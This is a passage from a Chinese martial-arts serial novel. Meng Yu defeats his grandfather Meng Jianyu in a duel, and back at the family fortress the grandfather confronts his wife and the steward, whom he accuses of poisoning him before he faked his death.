“我还没查清,不过孟老头活着,不就说明其中大有问题吗?”
孟天扬了扬下巴,示意杨玄杉看木屋的方向。
“等阿瑜把老头抓住,带回孟家堡,把老头和孟简放在一起审问,一切就都清楚了。”
“抓老头?”
杨玄杉反应过来她说的是孟剑雨,表情一滞,难以置信道。
“你让你儿子,去抓他的外祖父?父亲的武功可是孟家堡最强……”
话说到一半,杨玄杉想到孟天曾经的壮举,脸色难看地收了声。
孟天二十年前就能打得过孟剑雨,刚刚看她儿子的功夫,不但能和孟剑雨战成平手,还隐隐有压制的势头,或许真能打赢。
“孟家堡偏安一隅太久了,堡内最强,又能有多厉害?”
孟天客观而平静地说。
“江湖上高手如云,层出不穷,孟家堡这些年,落后太多了……”
平心而论,孟天没觉得曾经的手下败将孟剑雨有多厉害,她能打败,她儿子就也能打败。
周围的江湖人士听到她们的对话,都难免惊讶。
孟剑雨竟然真的还活着。
而与孟剑雨对战的年轻人,是他的外孙孟瑜。
“孟大小姐,敢问令郎为何要与令尊打斗?祖孙相斗,他们之间有何恩怨?还是有什么误会?”
一名斯文剑客探头探脑地看着孟天,小心翼翼地问。
孟天斜睨了他一眼,不想回答,但见周围人都期待地望着她,孟天勾了勾唇角,故意道:
“孟老头二十年前就昭告江湖,与我断绝父女关系,他早就不是我的父亲了,我儿子也不是他外孙,看他不爽,打了就打了,有何不可?”
另一名须发皆白的长者不赞同道:
“父母一时气话,孟大小姐怎可一直记仇?血脉相连,他们终究是祖孙,你应快去把他们分开才是。”
孟天冷哼一声,“你们要当好人,就自己去劝架,讲一堆大道理,慷他人之慨,我最瞧不起你这种假仁假义的伪君子。”
“你!孺子不可教也!”白发老者气呼呼地走开了。
孟蕊观察着白发老者,见他只是走到一边,继续望向打斗的方向,没有一丁点要去拉架的动静,撇了撇嘴,这些人呐,只会嘴上说教他人,要真自己上场,一个比一个跑得快。
经此一遭,无人再来打扰孟天,众人观望着岩壁上的木屋,交头接耳地讨论起来。
“你们觉得,孟瑜能赢得了孟堡主吗?”
“那小子身上都受伤流血了,被打败是早晚的事。”
“我也看他不行,一个毛都没长齐的小子,不可能赢有几十年功力的孟堡主。”
……
纪华筠听到身边人的议论,心中为孟瑜捏了一把汗,她悄声问孟天:
“孟女侠,您不出手,是有把握孟瑜能赢的,对不对?”
孟天奇怪地打量纪华筠,“你和孟瑜什么关系?你很关心他?”
纪华筠脸上闪过一丝不自然,随即挺了挺胸,自豪道:
“我是他的帮主,关心手下,是我的分内事。”
“什么帮主?”孟天不明所以,“孟瑜怎么成了你的手下?”
纪华筠清了清嗓子,踌躇满志地说:“您还不知道吧?我们黑……”
“砰!”
岩壁上的木屋传来一声巨响,打断了纪华筠的话。
木屋的屋顶和墙壁轰然垮塌,只剩插入山体的几根坚硬木柱,还支撑着摇摇欲坠的地板。
孟剑雨和孟瑜立于地板之上,他们手掌相击,正在比拼内力……
第238章 逐风之死
岩壁之上,孟瑜和孟剑雨对峙其间,四掌相抵,内力对冲,互不相让。
孟剑雨咽下喉头涌起的血腥气,注视着孟瑜,目光欣赏而满意。
“臭小子,功夫不错,逐风把你教得很好。”
“你没资格,和我提他!”
孟瑜棱角分明脸上,如附着一层冰霜,他眉棱如刀锋般压下,嘴唇抿成一道直线,深如幽潭的双眸中,透着丝丝绵绵的恨意。
“三年前,霸天帮的内部叛乱,是不是你鼓动支持?师父受伤后,你到底和他说了什么?”
“师父?你还叫他师父……哈哈哈!”
孟剑雨面露讽刺,大笑出声。
“就是因为三年前听你叫他师父,我才没发现,你居然是我孟家的种,孟逐风把你们藏得可真好啊,无论谢清源还是我,都找不到你们母子的下落。”
孟瑜加重了一分内力,打断孟剑雨的笑,气势汹汹地逼问:
“回答我的问题!是不是你害死了我师父!”
孟剑雨嘴角渗出鲜血,但他浑然不觉般,精明的双眼亮得异常,对孟瑜挑衅:
“想知道孟逐风怎么死的,那就先打败我再说!”
孟剑雨使出全力,攻向孟瑜。
几十年的功力,怎么算都比还未及冠的孟瑜深厚,但孟瑜却镇定地全盘接下孟剑雨的内力,他的样子看起来甚至还有几分轻松。
“是你说的,那我只好打败你了。”
孟瑜眼神一凛,终于展现出自己真正的实力。
浑厚强劲的内力,自双掌喷薄而出,直冲的孟剑雨招架不住,吐出一口老血,惊讶道:
“你、你的内力……这是逐风传给你的?”
“就在你和他说完话的第二天,师父不顾受伤的身体,强行将一身内力都传给了我……”
孟瑜坚毅的面容上,浮现悲伤之色,声音隐隐颤抖。
“不仅如此,他还拒绝治伤,一直拖到伤重而亡,是你!是你逼死了他!”
孟瑜内心万千愤慨和悲痛再也压抑不住,掌中内力再次加重。
“去死吧!”
“啊——!”
孟剑雨使出所有内力都抵挡不住,整个人在孟瑜强大内力的冲击下,被掀飞了出去,如一直断线的风筝般,坠落在山路右前方的草地上。
“咚!”
众人眼睁睁地看着死而复生的孟剑雨,从空中掉在地上,须臾过后,人群中发出惊呼。
“孟、孟堡主被打败了!这怎么可能?”
“天呐,他甩这么重,不会被打死了吧?”
“孟瑜、孟瑜居然打败了孟剑雨,太可怕了!”
……
刚才和孟天说话的斯文剑客,想过去看孟剑雨的情况,又顾忌孟瑜而胆怯,再次试探着问孟天:
“孟大小姐,那什么,孟堡主被打到了那里,您不去看看?”
“要去你自己去,我没空。”
孟天懒得理他,运起轻功,朝远处的孟瑜飞去。
她来孟家堡最主要的目的,是找到儿子孟瑜,其他的那些破事小人,都可以与她无关。
孟蕊和纪华筠跟上孟天,也朝孟瑜的方向跑过去。
孟天飞上孟瑜所在的残破木屋站定,看到赤着上身,肩膀伤口还在流血的儿子,心疼地就要冲过去抱住孟瑜。
“阿瑜,让为娘看看你的伤。”
“一点小伤而已,没事。”
孟瑜看到孟天,皱着眉,后退一步,疏离道。
“这里要垮了,先下去吧。”
他说完,转头就飞下了木屋,刚好落在跑过来的孟蕊和纪华筠面前。
“二哥!”
看到从天而降的孟瑜,孟蕊欢喜地唤他。
孟瑜下意识“嗯”了一声,看到孟蕊和纪华筠,以及她们身上穿着的孟家堡护卫服,眉头皱得更紧。
“不是让你们不要来孟家堡吗?你们怎么都跑来了?”
“那还不是为了找你!”
纪华筠气哼哼道。
“你知道我们这一晚上有多不容易吗?我们被孟简追杀,差点就死了!你看我的手,都伤到了,你还凶我们,太过分了!”
纪华筠伸出自己磨破皮的手背给孟瑜看,以证明自己的不容易。
孟瑜无语地问:“你打赢了孟简?”
“没有……”
纪华筠语塞一瞬,很快想到理由。
“我那是为了保护你妹妹,才没有发挥好,下次,我一定可以打败那个无耻小人!”
孟蕊忍不住拆台,“孟简被娘亲废了武功,你没有下次机会了。”
“孟简被废了?”孟瑜略感惊讶。
“是啊,他再也不能伤害我们了。”
孟蕊注意到孟瑜肩上的伤口,从怀中掏出金疮药。
“二哥,你肩膀受伤了,我这里有治伤的药,可以给你敷上吗?”
虽然孟瑜是自己的亲哥哥,但今天才是他们第二次见面,彼此不熟悉,面对赤着上身的孟瑜时,孟蕊难免有些不好意思,先客气询问。
纪华筠没有孟蕊这种困扰,她拿过孟蕊手中的药,打开闻了闻。
“嗯,是上好的金疮药。”
她对孟瑜压了压手,示意他蹲下些。
“你太高了,蹲矮点,我好给你上药。”
“小伤而已,不用上药。”
孟瑜的目光,从纪华筠手中的药瓶移开,望向远处被他打落的孟剑雨,想要过去查看。
他刚迈出一只脚,就被纪华筠大力拽住。
“你上哪儿去?还没上药呢!”
“让开!”孟瑜掰开纪华筠的手。
“不让!”
纪华筠急了,大步一跨,拦在孟瑜面前。
见孟瑜还要绕过她往前冲,纪华筠一把抱住孟瑜的腰,脚下用力,把他的双脚一绊。
趁着孟瑜重心不稳,纪华筠双臂上移,伸入孟瑜腋下,稳稳抱着孟瑜下蹲,自己坐在草地上,把孟瑜的上半身放在自己腿上。
“乖乖的别动,我给你上药!”
一旁的孟蕊,被纪华筠的大胆行径,惊得目瞪口呆。
更让她惊讶的是,她那个能把孟剑雨打飞数米远的二哥孟瑜,真就听了纪华筠的话,乖乖躺在人姑娘腿上,任由纪华筠给他上药。
他们这种姿势,会不会太过亲密了?
难道纪华筠说的私定终身,都是真的?
孟天过来时,看到的就是她那桀骜不羁、对亲娘都爱答不理的儿子,袒露的上半身,正躺在纪家姑娘腿上的一幕,震惊得张大了嘴。
“你、你们在做什么?”
第239章 私定终身?
“我在给他上药啊。”
纪华筠抬头看了孟天一眼,又低下头,小心翼翼地将金疮药,敷在孟瑜肩膀的伤处。
为了防止孟瑜上药中途逃跑,纪华筠近乎半搂着孟瑜的脖子,不许他乱动。
上药时,纪华筠低着头,专注地看着伤处,与孟瑜的脸越靠越近。
感受到孟瑜肌肉受药粉刺激引发战栗,纪华筠还轻轻给伤口吹气,哄小孩般安抚:
“忍一忍,一会儿就不痛了。”
“你好了没?”
孟瑜在她怀中闷声问,动作着要起身,又被纪华筠大力按住。
“别动,还没包扎呢。”
纪华筠在身上摸了摸,找出了一条洁白的丝帕手绢,包扎在孟瑜的肩部伤处,然后麻利地扶着孟瑜坐起来,后知后觉地发现孟瑜没穿上衣。
“你衣服怎么没了?我脱件外衣给你穿。”
她不觉害羞,直接开始解身上的衣服。
“不用了!你自己留着!”
孟瑜急忙拒绝,慌乱地站起来就要走。
纪华筠眼疾手快地拽住他的手,没好气道:“急什么?我穿的衣服多,分你一件没事的。”
她几下扯开外衣,孟瑜看到她护卫服里面还穿了一套黑色的侍卫服,才松了口气。
因为身形比男子娇小,孟蕊和纪华筠都是直接将抢来的护卫服,套在了原本的衣服外面。
纪华筠脱了一套,身上还有一套。
“纪小姐,你和二哥毕竟还未婚嫁,二哥穿我身上这件比较好。”
孟蕊阻止道,正要去脱自己身上的外衣,便看到娘亲孟天已经将一件宽敞的外衣,披在了孟瑜身上,同时制止了孟蕊和纪华筠脱衣服的行为。
“好了,你们两个小姑娘,都把衣服穿好!”
孟天走到纪华筠面前,特地帮她理了理扯乱的衣襟和腰带,严肃道。
“纪家姑娘,我知道你是好心,但你不能害我呀!
你娘为了你姨的事,本来就怨我,你再闹这一出,你娘又要责怪我了。”
孟天虽然不知道孟瑜和纪华筠的前尘,但她混迹江湖多年,自己也成亲生子,清楚男女相处的那些弯弯绕绕。
纪华筠给孟瑜上药,亲密成那样了,委实说不上清白。
孟瑜不但没拒绝,还乖乖听话,足以见得两人互相之间都有点意思。
但问题是,纪华筠的身份不简单。
作为兵部尚书、永宁侯纪恺唯一的嫡女,纪华筠的母亲方若莹又出身清流世家,注定了她很难自己做主婚事。
孟天在京城时,听到过一些风声,永宁侯夫妇一直没有给纪华筠定亲,除了考虑恩人之子外,更有意愿让嫡女嫁入皇家……
那么深的水,孟天不想让自家儿子陷进去。
“孟女侠,咱们现在身在江湖,都是江湖儿女,不拘小节,我娘管不到我的。”
纪华筠俏皮地对孟天眨了眨眼。
“再说了,我已经决定,以后浪迹江湖,不再回京,我娘也怪不了你。”
她随即转身,拉住孟瑜的胳膊。
“走,我们去看看被你打败的孟堡主,还活着没有?”
孟瑜“嗯”了一声,被纪华筠带着往前走。
孟天回头看向孟蕊,紧张地问:
“蕊儿,他们两个,到底是怎么回事?”
孟蕊也不是很确定纪华筠和孟瑜的关系,只好将大致情况讲与娘亲:
“纪小姐和爹爹说,她从京城离开后,与二哥在相州相识,结伴同行到渝州,半个月来同进同出,日久生情,已经……私定终身了……”
最后一句有些难以启齿,但纪华筠的原话,就是这样说的。
“私定终身?!”孟天再度震惊,“他俩就那么迫不及待?”
孟天望着前面两人携手的身影,顿感头疼。
她已经可以预想到,纪华筠那个不讲道理的娘,会怎样谴责她和她儿子,拐带人家女儿……
孟蕊走到娘亲身边,安慰道:
“这只是纪小姐的一面之词,女儿觉得,她或许是因为好奇贪玩,想跟着我们来孟家堡,夸大了事实,我们之后可以找机会问问二哥,弄清楚他们的真实关系。”
孟天却并不乐观,她指着纪华筠拉扯孟瑜胳膊的手,认真分析:
“阿瑜这些年性子冷淡,不喜人碰触,你看他,居然让那姑娘拉着走了那么久,都没有拍开她的手,我还从未见过阿瑜和女子如此亲密过。”
孟天无奈叹息一声。
“罢了,此事容后再说,咱们先跟过去看看。”
孟天和孟蕊追上去,与孟瑜和纪华筠前后脚到了人群围聚处。
人群的中央,是已经从地上坐起来的孟剑雨。
孟剑雨无视围着他指指点点的众人,兀自打坐调息疗伤,直到人群自动让开一条道,孟天带着儿女走了进来。
“孟老头,你果然是诈死!”
孟剑雨停止疗伤,掀起眼皮,看向孟天,不悦道:
“没规矩,这么多年不见,连爹都不会喊了?”
他没等孟天回答,淡定站起身,拍了拍身上的灰尘。
“走吧,这里人多眼杂,有什么话,回孟家堡再说。”
孟剑雨转过身,一瘸一拐地往山路上走。
周围的江湖人士和孟家堡护卫看到他,都面露惊诧,纷纷给他让路。
金老爷子看到他,忍不住上前。
“剑雨,你、你真的没死?这到底是怎么回事啊?”
孟剑雨对老朋友笑了笑,“你这么大年纪,还真来参加我的葬礼,没把你吓着吧?”
杨玄杉走向孟剑雨,神情凄苦。
“父亲,您知不知道,子俊被孟简杀了!孟繁也被孟简杀了!您既然还活着,为什么不阻止孟简杀人?”
孟剑雨收敛笑容,面无表情地看了她一眼,没有回应,自顾自走到被护卫们抬着、绑成蝉蛹一样的孟简身边。
他伸手探了探孟简的脉象,回头对跟过来的孟天说:
“这小子本事不大,心气却高,被你打服了?”
孟天冷声道:“他杀人如麻,已经被我废了,留着一口气,等他下山认罪画押。”
“哦,也好,那就下山吧。”
孟剑雨没有再看孟简一眼,径直沿着山路,独自一瘸一拐地向山下走去。
第240章 唯二孙辈
孟家堡正堂
苗氏端坐在上首,喝下一口茶,叹出一口气,精致的妆容也掩盖不住她憔悴的面容。
昨夜两个孙子被害,苗氏被激得心悸发作晕倒,上午醒来得晚,听说两个儿子,带着堡内的护卫们和江湖上的帮手,一起上影山捉拿杀害孙儿的凶手。
苗氏心有余悸,吃了药,就去佛堂为儿孙祈福,跪了小半个时辰,丫鬟来报谢大人有请。
她本不欲去见谢清源,但谢清源派了十几个身手好的侍卫一起来请,态度十分强硬。
堡内的护卫几乎都跟着孟繁和孟简上了山,留下守卫的几个虾兵蟹将,挡不住谢清源的侍卫,苗氏只能不情不愿地被带到了正堂。
田管家当时正陪同苗氏祈福,追随苗氏一起去了正堂,侍立在苗氏身侧。
正堂中,除了苗氏和田管家,谢清源的侍卫还陆续请来了其他在堡内的孟家人,包括孟子信、蒋氏及其女孟子倩。
蒋氏昨夜丧子,一夜未眠,此时双眼已经哭肿,依然止不住落泪。
孟子信坐在旁边,不免要劝上一番。
“咳咳……婶婶,请节哀,子伦在天有灵,咳咳……也不想看到您如此伤心,当保重身子啊。”
“我的儿啊!他还那么小……呜呜……”
蒋氏看到孟子信,又想到自己被害的儿子,悲从中来,哭得更伤心了。
九岁的孟子倩,依偎在母亲蒋氏身边,眨着乌溜溜的大眼睛,一直盯着孟子信瞧。
孟子信与她对视一笑,摸了摸孟子倩的头,轻声说:
“四妹妹,你劝劝你娘,别太伤心了,啊?”
孟子倩懂事地点点头,“谢谢二哥哥关心。”
她转过身,伸手抱住母亲,小小的人儿缩进母亲怀中,小手轻拍着蒋氏的背,说着安慰的话语。
“阿娘别哭,弟弟不在了,您和爹爹还有我啊,我以后会比弟弟更孝敬你们的。”
蒋氏哭声一滞,突地推开女儿,神情狰狞地吼道:
“你一个女孩,如何能和你弟弟相比?”
她尤记得昨夜在主院,杨氏对她说的话。
蒋氏自知不年轻了,这些年除了孟子倩和孟子伦,再没有生下孩子,往后恐怕更难有孕。
但她的夫君孟简,正值壮年,还可以再找年轻鲜嫩的女子,生下其他儿子。
到那时,没有儿子的她,年老色衰,要如何笼络住夫君,保住正妻之位?
对失去地位和爱情的恐惧,比失去儿子的痛苦,更让蒋氏焦虑。
孟子倩被亲娘的吼声吓到,“哇——”的一声,委屈地大哭。
“哭哭哭,你就知道哭!”
蒋氏涂着紫色蔻丹的手指,重重戳在女儿白皙的额头上,留下点点红印。
“昨夜让你照看弟弟,你为何不在院子里?”
蒋氏回忆着昨夜种种,焦虑与痛苦交加,口不择言地对着不敢反抗她的女儿发泄。
“你弟弟出事,你为什么好好的?为什么出事的不是你!”
孟子倩哭得更大声了。
“砰!”
苗氏把茶盏重重摔在地上,裂成碎片,其中一片还蹦到蒋氏和孟子倩的脚边。
“够了!都住嘴!吵得我头疼。”
孟子倩哭声骤停,畏惧地望着苗氏,抽噎着流泪。
蒋氏看了眼苗氏,眼神晦暗中带着一丝恨意,咬了咬唇,垂头没再说话。
孟子信找了个远离苗氏和蒋氏,靠门的座位坐下,轻轻展开手中折扇,看着扇面上的仕女图发呆。
苗氏支着头,神色恹恹,目光扫过孟子信和孟子倩。
这两个,是她现在唯二活着的两个孙辈了,也是她平日最忽视的孙辈。
孟子仁武功好,孟子俊会做生意,孟子伦聪明伶俐,会讨苗氏开心,但他们都死了。
而活着的孟子信,是个病秧子,文不成武不就,离不开药罐,以后也不会有出息。
孟子倩是个女娃,将来要嫁出去,继承不了孟家堡的家业,而且她性格木讷不讨喜,整日就知道在院子里拿着木剑练武,总让苗氏想起多年前不好的记忆,更是不喜。
听到二儿媳蒋氏的话,苗氏也不禁会想,为什么死的不是这两个讨厌鬼,而是那三个她看重的孙子?
真是造孽哟!
懊恼夹杂着悲伤袭来,苗氏捂住心口,觉得自己有些喘不上气。
“老夫人,您可是心口不适?”
田管家一边问,一边从怀中拿出药瓶,熟练地倒出两粒棕色药丸,喂给苗氏。
苗氏吃了药,难受地闭了闭眼,“我累了,还要在这里坐多久?谢清源怎么还不出现?”
田管家看着苗氏疲惫不适的模样,连忙道:
“您稍等,我去外边问问。”
田管家疾步走到门口,被两边守门的侍卫拦下,“谢大人吩咐,尔等需在此等待。”
“我家老夫人身体不适,要回主院休息,请差爷行个方便。”
田管家习惯性地躬身,客气地说。
见拦路的侍卫没有退下,田管家加重了语气:
“若是不行,请差爷去请示谢大人,我家老夫人身子不好,昨夜又犯了心悸之症,若是出事,怕是你们担待不起。”
侍卫们不动,语气冷硬道:
“谢大人有令,被请入正堂人等,不得离开,请回吧。”
田管家回头看了眼正堂中捂着心口的苗氏,对不近人情的侍卫动了怒。
“这里是孟家堡!不是谢清源的谢府!他凭什么不让我们老夫人出去?我要去找他!”
田管家怒气冲冲地说着,就要往外冲。
“唰!”
侍卫手中的利剑出鞘,横在田管家的脖子前。
“再往前一步,当心刀剑无眼!”
田管家朝下看向锋利的剑锋,咽了口唾沫,不得不往退回屋内,憋屈地回到苗氏身边。
之后,他们等了快一个时辰,才听到外头传来动静。
田管家以为是谢清源来了,又走去门口张望。
刚看到领头之人的那张脸,田管家就吓得一屁股坐在地上,惊恐得失声大叫:
“鬼!鬼啊——!”
坐在靠近门边座椅上,昏昏欲睡的孟子信,被田管家的叫声吵醒。
“田管家,你失心疯了?”
田管家脸色煞白,浑身哆嗦着爬到离他最近的孟子信身边,指着门外远远走过来的人,声音打着颤道:
“诈尸了!他要来杀我了!快来人救命啊!”
第241章 掌控之下
从困倦中惊醒的孟子信,还犯着迷糊。
他顺着田管家手指的方向望去,看见那道越走越近的熟悉身影,瞌睡一下全醒了。
“祖父……诈尸了?”
他撑着座椅扶手站起来,望见死而复生的孟剑雨,面露惊色。
“怎么会这样?我明明亲眼看到祖父……”
孟子信很快镇定下来,因为他看到,孟剑雨身后不远处,还连接进来了好些人。
其中,有叫他们来正堂的谢清源,有嫡母杨氏,及其兄长杨玄松,还有好些孟家堡护卫,其中几个护卫还抬着一个捆绑的男人……
田管家也看到了走进来的其他人,逐渐恢复理智。
想到孟剑雨没死的这个可能,他更加惊惶无措。
田管家哆哆嗦嗦地从地上爬了起来,面上惊恐之色未消,胆战心惊地往后退去。
苗氏听见动静站起来,走向田管家问:“怎么回事?”
田管家如惊弓之鸟般猛然转身,将走近的苗氏撞得后退。
“哎呦!你当心着点儿!”
苗氏被田管家撞得鼻子发酸,捂着鼻子,“啪!”的一记耳光,呼上了田管家的脸。
做了多年的堡主夫人,苗氏养尊处优、被人捧着惯了,除了面对堡主孟剑雨时要温柔小意,其他时候,她都是自己怎么高兴怎么来。
别说是打管家耳光,这些年惹了她不高兴被打杀的下人,也不在少数。
被打了一耳光的田管家,似乎习以为常,又仿佛感觉不到疼痛,只紧张地指着门外。
“怎么办?他回来了!”
“谁回来了?值得你这样惊慌?”
苗氏嗔怪地瞪了眼田管家,却在看到气势汹汹跨入正堂大门的孟剑雨时,脸色大变。
“老爷你……是人是鬼啊……”
苗氏柔弱的身子骤然僵直,眼中满是惊恐,双腿不自觉地害怕后退,差点跌倒。
田管家眼疾手快地扶住她,两人恐惧而忌惮看着孟剑雨,一起向后退去。
孟子信怔怔看着孟剑雨从他面前走过,没给他一个眼神,知道不是来找他麻烦的,稍稍松了一口气。
蒋氏看到已经躺进棺材里的孟剑雨,此时活生生地出现在眼前,惊惧得想要尖叫。
她张开嘴,却因太过畏惧而发不出声音,战战兢兢地抱过看呆了的孟子倩,母女二人蜷缩成一团。
孟剑雨径直走向苗氏,逼得苗氏和田管家不断后退,直到背靠墙壁,退无可退。
“我没被你们毒死,很失望吧?毒妇!”
孟剑雨一把掐住苗氏的脖子,把她抵着墙提起,双脚离地。
“有想过自己会怎么死吗?”
“放、放开我……”
窒息的痛苦让苗氏面色狰狞,她双手抓挠着孟剑雨掐住她脖子的手,双脚在空中乱蹬,但无济于事。
孟剑雨要杀死手无缚鸡之力的她,和捏死一只蚂蚁一样容易。
旁边的田管家,近距离看到孟剑雨,确定他有实体,是人非鬼,“噗通”一声跪在地上,对着孟剑雨磕头求道:
“堡主,您定是误会夫人了!夫人对您一心一意,不可能毒害于您啊!先放下夫人,她身子娇弱,快受不了了!”
孟剑雨用看死人一样的目光,睨向田管家,对已经被掐得双眼充血泛红、说不出话的苗氏冷声道:
“看来田季达,就是你的奸夫了。”
田管家惊悚地抬头,正要否认,腹部就挨了孟剑雨一脚,被向后踢飞。
“咚!”
田管家撞到侧面的墙上,如一只被拍死的飞蛾般,无力地从墙上跌落在地。
他侧躺在地上,抱着肚子,疼得龇牙咧嘴,感到喉头一腥,鲜血从嘴角溢出,还不忘艰难地澄清:
“小、小人与夫人之间……清清白白,从、从无逾举,请堡、堡主明察!不、不要冤枉了夫人!”
孟剑雨阴沉着脸,嘴角勾起冷笑,手中对苗氏的脖颈加重了力道。
“他对你,还挺痴情。”
孟天和谢清源带着人走进正堂时,看到的就是脚踢田管家、手掐苗氏的孟剑雨。
当然,他们之间的对话,所有人都听到了。
苗氏偷人,奸夫是田管家?
他们一起要毒害孟剑雨?
孟天先是一怔,随即大笑出声,大步走到上首的座位坐下,看着近处贴墙掐着苗氏的孟剑雨,幸灾乐祸道:
“孟老头,没想到啊,你也有今天,她可是你最心爱的苗夫人,给你生了两个宝贝儿子的女人,你真舍得杀她?”
谢清源紧紧跟着孟天,此刻站在孟天身边,阴阳怪气地对孟剑雨说:
“孟堡主,我娘子说得对,您这十几年来最是宠爱苗夫人,为了让她高兴,把亲生女儿赶走,还断绝了父女关系,您这么喜欢她,随意杀了,可是会后悔的。”
他的目光绕在孟剑雨掐着苗氏脖子的手上。
“再说了,您对苗夫人那么好,她怎会毒害您?您查清楚了吗?我大小也是朝廷命官,您当着我的面杀人,不大合适吧?”
“哼!巧言令色!”
孟剑雨手上力道渐松,将已被掐得翻白眼、只剩一口气的苗氏扔在地上。
“咳咳咳……”苗氏瘫软在地,一边咳嗽着,一边艰难地呼吸着空气,好一会儿,才恢复过来。
期间,抬着孟简的几个孟家堡护卫,将依然昏迷的孟简放在正堂中央。
孟天见他们脸色惊慌,摆了摆手,让他们退下,和其他孟家堡护卫一起去饭堂用膳。
趁着孟繁和孟简带着护卫们上山这半日,谢清源已经用自己带来的百名侍卫,接管了孟家堡。
可以说,现在的孟家堡,已在谢清源的掌控之下。
那些个想要跟来正堂看热闹的江湖人士,都被谢清源打发回客院休息,并安排侍卫看管。
从山上下来的人中,只有孟蕊、孟瑜、纪华筠,和金老爷子,以及杨玄松、杨玄松兄妹,被允许进入正堂。
几个孟家堡护卫离开后,谢清源让守在门口的侍卫关上大门,在门外守好,不许放任何人进来。
正堂的门刚关上,晕倒在正堂中央的孟简,皱了皱眉,挣扎着睁开了双眼。
他第一眼看到的,是苗氏苍白而虚弱的脸。
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第242章 中毒假死?
“母亲,母亲您怎么了?”
孟简身上被绳索捆得很紧,完全无法动弹,看到苗氏脖子上明显的掐痕,焦急询问。
“是谁把您伤成这样的?”
苗氏刚刚从孟剑雨手中死里逃生,现在侧躺在地上,手臂勉力支撑起上半身,还在一边咳嗽,一边艰难地呼吸。
她听见孟简的声音,虚弱地偏头看去,才发现地上这个绑得严实的男人,居然是她的小儿子孟简。
“简、简儿……咳咳咳……”
苗氏的脖子刚才被孟剑雨掐伤,一开口说话,嗓子又疼又痒,止不住地咳嗽,无法说出一句完整的话。
“娘,娘您还好吗?快叫大夫来啊!”
孟简焦急地对着前方吼道,但坐在这个方向的孟蕊和孟瑜,只是不动声色地冷冷瞧着他。
孟简知道,他们不会帮他,他不放弃地转过头,看到了自己的妻子蒋氏,面上一喜。
“容儿,你也在这儿,快帮我把绳子解开,为母亲请大夫医治。”
蒋氏眼含热泪地看着孟简,张了张嘴,却没有说话,而是胆怯地瞄了一眼上首的方向,又开始落泪不止。
孟简这时才发现,他似乎是在孟家堡的正堂中,顺着蒋氏的眼神,他艰难地仰起头,一眼就看到坐在上首的孟天。
小时候,孟天还住在孟家堡时,就总找他们母子的麻烦,而在孟家堡敢对堡主夫人动粗的,只有这个混不吝的女人!
“孟天,你有什么事都冲着我来!别动我娘!”
孟简怒气冲冲,对着孟天叫喊。
“我娘怎么说,都是你的长辈!你不能伤害她!”
孟天挑眉,“你居然还是个孝子?”
她用看傻子的眼神,看着孟简。
“别冤枉我,是他干的。”
孟天指了指坐在上首另一边座位的孟剑雨,懒得再和傻子说话。
孟简看到孟剑雨,神情愣怔了一瞬,心中闪过震惊、恐惧、慌乱、心虚等多重情绪,最终,他的脸上扬起见到父亲的惊喜。
“父亲,是您吗?您还活着,真是太好了!”
孟简没有注意到苗氏错愕的眼神,一个劲地向孟剑雨告孟天的状。
“父亲,您快救救孩儿吧!
孟天她一回来,就把孩儿打成重伤,把孩儿绑起来,说要杀了我,还有母亲,也被她伤到了要害,求父亲您救救我们!”
在场的所有人,都用怪异的眼神,望向孟简。
除了苗氏接连不断的咳嗽声,没有人提醒孟简苗氏受伤的真相。
孟蕊看着颠倒黑白的孟简,她记得,孟简在山中树林就晕了过去,然后被绑起来,抬下山,中途一直没有醒来过。
所以,孟简没有看到孟剑雨被孟瑜打败的场景,也不知道苗氏是被孟剑雨掐伤的。
但即使他不知道这些,也不耽误他一睁眼,就混淆是非,污蔑孟天。
真是个卑鄙无耻的小人!
孟蕊愤愤瞪着孟简,并没有下一步动作。
因为她知道,偷人的苗氏,和并非孟家子孙的孟简,都不为孟剑雨所容,静观其变即可。
“你要我救你?”
孟剑雨脸上浮现莫测的笑。
“你发现苗氏和田管家对我下毒的时候,怎么不来救救你的父亲呢?”
孟简表情凝滞,随即否认,“我不知道,母亲怎会对您下毒?不会有这种事的!”
“我吃的所有药,全是过的苗氏和田管家的手,找来的大夫,也都是他们的人。”
孟剑雨幽幽说着,起身走去墙角,将被他踢得重伤的田管家拎起,提回,丢在苗氏身边。
“如果不是他们联手下毒,又有谁,能骗过老夫的眼睛?”
田管家只会一点粗浅的武功,被孟剑雨那一脚重伤脏腑,此时已是强弩之末。
“与、与夫人无关,都是小人一时鬼迷心窍,对堡主您、您的药动了手脚,还……还给了大夫银子,让他们隐瞒您的真实病情,是我该死,不关夫人的事!”
他捂着腹部,喘着粗气,痛苦地趴在地上,毅然决然地将罪责,都揽到了自己身上。
孟剑雨居高临下地看着他,用鞋头挑起田管家磕在地上的下巴。
“凭你一个小小管家,就差点毒杀了我?”
田管家仰头望着孟剑雨,眼神坚定中带着恳求。
“是、是我,都是我一人所为,与旁人无关,要杀要剐,悉听尊便!”
孟剑雨收回脚,田管家的头磕在地上,他没有理会,转而盯住苗氏。
“苗氏,我给你一个机会,只要你承认对我下毒,看在你多年伺候的份上,我放你们一条生路,如何?”
苗氏的情况比刚才好上许多,已经能正常呼吸,咳嗽也渐渐停歇,随着孟剑雨的突然逼近,她瑟缩着向后躲了躲,垂着头,又开始咳嗽起来,企图以此逃避问话。
“咳咳……妾身没有……咳咳……没有下毒……咳咳咳……”
孟天看着孟剑雨逼问苗氏,嘴角勾起嘲讽。
“孟老头,你当年不是说,苗氏纯洁贤惠,绝不会对人使坏吗?现在自己体会到了,滋味如何呀?”
孟剑雨猛地瞪向孟天大吼:“老子在审问,轮得到你插嘴?”
孟天拍桌而起,“你再吼我,信不信老子现在就废了你!”
“我是你老子!”孟剑雨也对孟天拍桌,“女儿家不许自称老子!”
孟天撸起袖子,想要直接干架。
问那么多有什么用?苗氏不承认下毒,他们要一直在这里浪费时间吗?
她身边的谢清源,连忙拦住她。
“娘子莫急,孟堡主被下毒一案,事关孟堡主假死,需要弄清楚,给外界一个交代。”
谢清源又转头对孟剑雨说:
“孟堡主,您既然已经确定苗氏和田管家是下毒之人,只需再找到给您诊病的大夫的口供,这案子便可以定下,不需要苗氏亲口承认。”
孟剑雨沉沉盯着苗氏,他想要的,就是苗氏,这个在他身边十数年的枕边人,亲口说出的答案。
金老爷子不想看到孟剑雨和孟天父女争执,出言转移话题。
“剑雨,你从去年开始身体不好,那找不出缘由的病症,难道就是因为中毒?你这番假死,也是为此?”
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第243章 入不敷出
“你说得不错,我本无病,是这毒妇联合管家,对我下了慢性毒药,导致我的身体日渐虚弱。”
孟剑雨坐回座位,坚毅冷沉的面容,显出几分疲态。
“大夫查不出病因,我原只当是年纪大了,旧伤作祟,没当回事,直到一个多月前,我才有所怀疑……”
